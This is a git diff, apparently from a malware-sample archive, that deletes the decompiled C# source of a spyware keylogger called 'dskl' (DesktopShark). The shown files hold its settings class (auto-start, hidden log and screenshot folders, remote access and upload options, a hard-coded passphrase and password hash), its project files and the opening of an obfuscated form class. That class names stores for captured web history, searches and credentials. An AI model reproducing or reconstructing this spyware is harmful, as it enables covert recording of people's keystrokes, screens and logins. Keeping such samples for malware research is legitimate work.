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 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Settings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Settings.cs deleted file mode 100644 index 2fd77731..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Settings.cs +++ /dev/null @@ -1,226 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KeyLogger.Properties.Settings -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace KeyLogger.Properties -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("True")] - public bool AutomaticUpdate - { - get => (bool) this[nameof (AutomaticUpdate)]; - set => this[nameof (AutomaticUpdate)] = (object) value; - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("True")] - public bool AutomaticStartup - { - get => (bool) this[nameof (AutomaticStartup)]; - set => this[nameof (AutomaticStartup)] = (object) value; - } - - [DebuggerNonUserCode] - [UserScopedSetting] - [DefaultSettingValue("desktopshark")] - public string PassPhrase - { - get => (string) this[nameof (PassPhrase)]; - set => this[nameof (PassPhrase)] = (object) value; - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("True")] - public bool AutomaticStartupKeylogger - { - get => (bool) this[nameof (AutomaticStartupKeylogger)]; - set => this[nameof (AutomaticStartupKeylogger)] = (object) value; - } - - [DebuggerNonUserCode] - [DefaultSettingValue("True")] - [UserScopedSetting] - public bool AutomaticArchivingKeylogger - { - get => (bool) this[nameof (AutomaticArchivingKeylogger)]; - set => this[nameof (AutomaticArchivingKeylogger)] = (object) value; - } - - [DefaultSettingValue("2.82")] - [DebuggerNonUserCode] - [UserScopedSetting] - public string CurrentVersion - { - get => (string) this[nameof (CurrentVersion)]; - set => this[nameof (CurrentVersion)] = (object) value; - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("True")] - public bool FirstRun - { - get => (bool) this[nameof (FirstRun)]; - set => this[nameof (FirstRun)] = (object) value; - } - - [DebuggerNonUserCode] - [DefaultSettingValue("C:\\DS\\Logs")] - [UserScopedSetting] - public string ArchivingKeyloggerLocation - { - get => (string) this[nameof (ArchivingKeyloggerLocation)]; - set => this[nameof (ArchivingKeyloggerLocation)] = (object) value; - } - - [DefaultSettingValue("C:\\DS\\Images")] - [DebuggerNonUserCode] - [UserScopedSetting] - public string ScreenshotLocations - { - get => (string) this[nameof (ScreenshotLocations)]; - set => this[nameof (ScreenshotLocations)] = (object) value; - } - - [DebuggerNonUserCode] - [UserScopedSetting] - [DefaultSettingValue("-1")] - public int ScreenshotDuration - { - get => (int) this[nameof (ScreenshotDuration)]; - set => this[nameof (ScreenshotDuration)] = (object) value; - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("False")] - public bool SpecialKeysDisabled - { - get => (bool) this[nameof (SpecialKeysDisabled)]; - set => this[nameof (SpecialKeysDisabled)] = (object) value; - } - - [DebuggerNonUserCode] - [SpecialSetting(SpecialSetting.ConnectionString)] - [ApplicationScopedSetting] - [DefaultSettingValue("Data Source=|DataDirectory|\\Data\\Data.sdf")] - public string DataConnectionString => (string) this[nameof (DataConnectionString)]; - - [DefaultSettingValue("C:\\DS\\Temp")] - [DebuggerNonUserCode] - [UserScopedSetting] - public string TempFileLocation - { - get => (string) this[nameof (TempFileLocation)]; - set => this[nameof (TempFileLocation)] = (object) value; - } - - [UserScopedSetting] - [DefaultSettingValue("False")] - [DebuggerNonUserCode] - public bool RemoteAccess - { - get => (bool) this[nameof (RemoteAccess)]; - set => this[nameof (RemoteAccess)] = (object) value; - } - - [DebuggerNonUserCode] - [UserScopedSetting] - [DefaultSettingValue("")] - public string RemoteUser - { - get => (string) this[nameof (RemoteUser)]; - set => this[nameof (RemoteUser)] = (object) value; - } - - [DefaultSettingValue("")] - [UserScopedSetting] - [DebuggerNonUserCode] - public string RemotePass - { - get => (string) this[nameof (RemotePass)]; - set => this[nameof (RemotePass)] = (object) value; - } - - [DefaultSettingValue("False")] - [UserScopedSetting] - [DebuggerNonUserCode] - public bool UploadImages - { - get => (bool) this[nameof (UploadImages)]; - set => this[nameof (UploadImages)] = (object) value; - } - - [DebuggerNonUserCode] - [DefaultSettingValue("")] - [UserScopedSetting] - public string ActivationCode - { - get => (string) this[nameof (ActivationCode)]; - set => this[nameof (ActivationCode)] = (object) value; - } - - [DefaultSettingValue("False")] - [UserScopedSetting] - [DebuggerNonUserCode] - public bool ScreenshotUploadOnly - { - get => (bool) this[nameof (ScreenshotUploadOnly)]; - set => this[nameof (ScreenshotUploadOnly)] = (object) value; - } - - [DefaultSettingValue("osnoMOpyQgj52G55QzAXn3d2ycB+xKvj+BqskqDEolg=")] - [UserScopedSetting] - [DebuggerNonUserCode] - public string ConsolePassword - { - get => (string) this[nameof (ConsolePassword)]; - set => this[nameof (ConsolePassword)] = (object) value; - } - - [DefaultSettingValue("1")] - [DebuggerNonUserCode] - [UserScopedSetting] - public int SpecialKeys - { - get => (int) this[nameof (SpecialKeys)]; - set => this[nameof (SpecialKeys)] = (object) value; - } - - [UserScopedSetting] - [DebuggerNonUserCode] - [DefaultSettingValue("")] - public string ExpireDate - { - get => (string) this[nameof (ExpireDate)]; - set => this[nameof (ExpireDate)] = (object) value; - } - - [DefaultSettingValue("-1")] - [UserScopedSetting] - [DebuggerNonUserCode] - public int MaxImageFolderSize - { - get => (int) this[nameof (MaxImageFolderSize)]; - set => this[nameof (MaxImageFolderSize)] = (object) value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.csproj deleted file mode 100644 index 357664d5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.csproj +++ /dev/null @@ -1,98 +0,0 @@ - - - - - Debug - AnyCPU - {BFAB37ED-F69F-4E24-BB4C-36E24D532891} - WinExe - dskl - 1.71.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.sln deleted file mode 100644 index 89071a00..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dskl", "Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.csproj", "{BFAB37ED-F69F-4E24-BB4C-36E24D532891}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {BFAB37ED-F69F-4E24-BB4C-36E24D532891}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {BFAB37ED-F69F-4E24-BB4C-36E24D532891}.Debug|Any CPU.Build.0 = Debug|Any CPU - {BFAB37ED-F69F-4E24-BB4C-36E24D532891}.Release|Any CPU.ActiveCfg = Release|Any CPU - {BFAB37ED-F69F-4E24-BB4C-36E24D532891}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.cs deleted file mode 100644 index e46f9d08..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.cs +++ /dev/null @@ -1,3240 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᙀ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using KeyLogger.Properties; -using Microsoft.Win32; -using mshtml; -using SHDocVw; -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Text; -using System.Threading; -using System.Web; -using System.Windows.Forms; - -public class ᙀ : Form -{ - private const string ᢰᙃ = "webhistory.dsz"; - private const string ᢱᙃ = "websearch.dsz"; - private const string ᢲᙃ = "webcredential.dsz"; - private const string ᣵᙃ = "settings.dsz"; - private IContainer ᣂᙃ; - private \u17C6 ᣃᙃ; - private TabControl ᣄᙃ; - private TabPage ᣅᙃ; - private ToolStrip ᣆᙃ; - private ToolStripDropDownButton ᣇᙃ; - private ToolStripMenuItem ᣈᙃ; - private ToolStripMenuItem ᣉᙃ; - private CheckBox ᣊᙃ; - private TabPage ᣋᙃ; - private GroupBox ᣘᙃ; - private GroupBox ᣍᙃ; - private TextBox ᣎᙃ; - private Button ᣏᙃ; - private TextBox \u18FEᙃ; - private Label ᣑᙃ; - private CheckBox ᣒᙃ; - private CheckBox ᣓᙃ; - private Label ᣔᙃ; - private Label ᣕᙃ; - private StatusStrip ᣖᙃ; - private Button ᣗᙃ; - private LinkLabel ᣀᙃ; - private ToolStripSeparator ᣳᙃ; - private ToolStripDropDownButton ᣚᙃ; - private ToolStripMenuItem ᣛᙃ; - private ToolStripMenuItem ᣙᙃ; - private TabPage ᣝᙃ; - private Button ᣞᙃ; - private Panel ᣟᙃ; - private PictureBox ᣠᙃ; - private GroupBox ᣡᙃ; - private Button ᣢᙃ; - private TextBox ᣣᙃ; - private RadioButton ᣤᙃ; - private RadioButton ᣥᙃ; - private RadioButton ᣦᙃ; - private RadioButton ᣧᙃ; - private Button ᣨᙃ; - private TabPage ᣩᙃ; - private CheckBox ᣪᙃ; - private Label ᣫᙃ; - private Label ᣬᙃ; - private TextBox ᣭᙃ; - private TextBox ᣮᙃ; - private Label ᣯᙃ; - private Button ᣰᙃ; - private Button ᣱᙃ; - private Button ᣲᙃ; - private Button \u1935ᙃ; - private Button ᤂᙃ; - private ImageList ᤃᙃ; - private Label ᤄᙃ; - private Button ᤅᙃ; - private \u17C2 ᤆᙃ; - private CheckBox ᤇᙃ; - private ToolStripMenuItem ᤈᙃ; - private PictureBox ᤉᙃ; - private LinkLabel ᤊᙃ; - private \u17C4 ᤋᙃ; - private \u17C4 ᤘᙃ; - private ToolStripDropDownButton ᤍᙃ; - private ToolStripMenuItem ᤎᙃ; - private ToolStripMenuItem ᤏᙃ; - private ToolStripMenuItem \u193Eᙃ; - private ToolStripMenuItem ᤑᙃ; - private ToolStripSeparator ᤒᙃ; - private Button ᤓᙃ; - private Label ᤔᙃ; - private TabPage ᤕᙃ; - private DataGridView ᤖᙃ; - private DataGridViewTextBoxColumn ᤗᙃ; - private DataGridViewTextBoxColumn ᤀᙃ; - private DataGridViewTextBoxColumn \u1933ᙃ; - private DataGridViewTextBoxColumn ᤚᙃ; - private DataGridViewTextBoxColumn ᤛᙃ; - private TabPage ᤙᙃ; - private DataGridView ᤝᙃ; - private DataGridViewTextBoxColumn ᤞᙃ; - private DataGridViewTextBoxColumn \u191Fᙃ; - private DataGridViewTextBoxColumn \u1920ᙃ; - private DataGridViewTextBoxColumn \u1921ᙃ; - private DataGridViewTextBoxColumn \u1922ᙃ; - private CheckBox \u1923ᙃ; - private \u17C4 \u1924ᙃ; - private \u17C4 \u1925ᙃ; - private ToolStripMenuItem \u1926ᙃ; - private ToolStripMenuItem \u1927ᙃ; - private ToolStripMenuItem \u1928ᙃ; - private TabPage \u1929ᙃ; - private Label \u192Aᙃ; - private Label \u192Bᙃ; - private TextBox \u192Cᙃ; - private TextBox \u192Dᙃ; - private Button \u192Eᙃ; - private Label \u192Fᙃ; - private ToolStripMenuItem \u1930ᙃ; - private Label \u1931ᙃ; - private \u17C4 \u1932ᙃ; - private Button \u1975ᙃ; - private Button \u1942ᙃ; - private Label \u1943ᙃ; - private Button \u1944ᙃ; - private Button \u1945ᙃ; - private TabPage \u1946ᙃ; - private DataGridView \u1947ᙃ; - private Button \u1948ᙃ; - private DataGridViewTextBoxColumn \u1949ᙃ; - private DataGridViewTextBoxColumn \u194Aᙃ; - private DataGridViewTextBoxColumn \u194Bᙃ; - private DataGridViewTextBoxColumn ᥘᙃ; - private DataGridViewTextBoxColumn \u194Dᙃ; - private Label \u194Eᙃ; - private \u17C4 \u194Fᙃ; - private RadioButton \u197Eᙃ; - private RadioButton ᥑᙃ; - private GroupBox ᥒᙃ; - private Label ᥓᙃ; - private RadioButton ᥔᙃ; - private Label ᥕᙃ; - private Button ᥖᙃ; - private ToolStripMenuItem ᥗᙃ; - private ToolStripMenuItem \u1940ᙃ; - private \u17C4 ᥳᙃ; - private PictureBox ᥚᙃ; - private PictureBox ᥛᙃ; - private PictureBox ᥙᙃ; - private PictureBox ᥝᙃ; - private PictureBox ᥞᙃ; - private Label ᥟᙃ; - private Label ᥠᙃ; - private Label ᥡᙃ; - private TextBox ᥢᙃ; - private Label ᥣᙃ; - private Label ᥤᙃ; - private Button ᥥᙃ; - private PictureBox ᥦᙃ; - private ToolStripStatusLabel ᥧᙃ; - private ToolStripStatusLabel ᥨᙃ; - private ToolStripStatusLabel ᥩᙃ; - public bool ᙲ = true; - public bool \u1759; - public int \u175E; - private bool ᥪᙃ; - private double ᥫᙃ; - private System.Windows.Forms.Timer ᥬᙃ = new System.Windows.Forms.Timer(); - private System.Windows.Forms.Timer ᥭᙃ = new System.Windows.Forms.Timer(); - private string[] \u196Eᙃ; - private string[] \u196Fᙃ; - private int ᥰᙃ; - private int ᥱᙃ = 17; - private អ 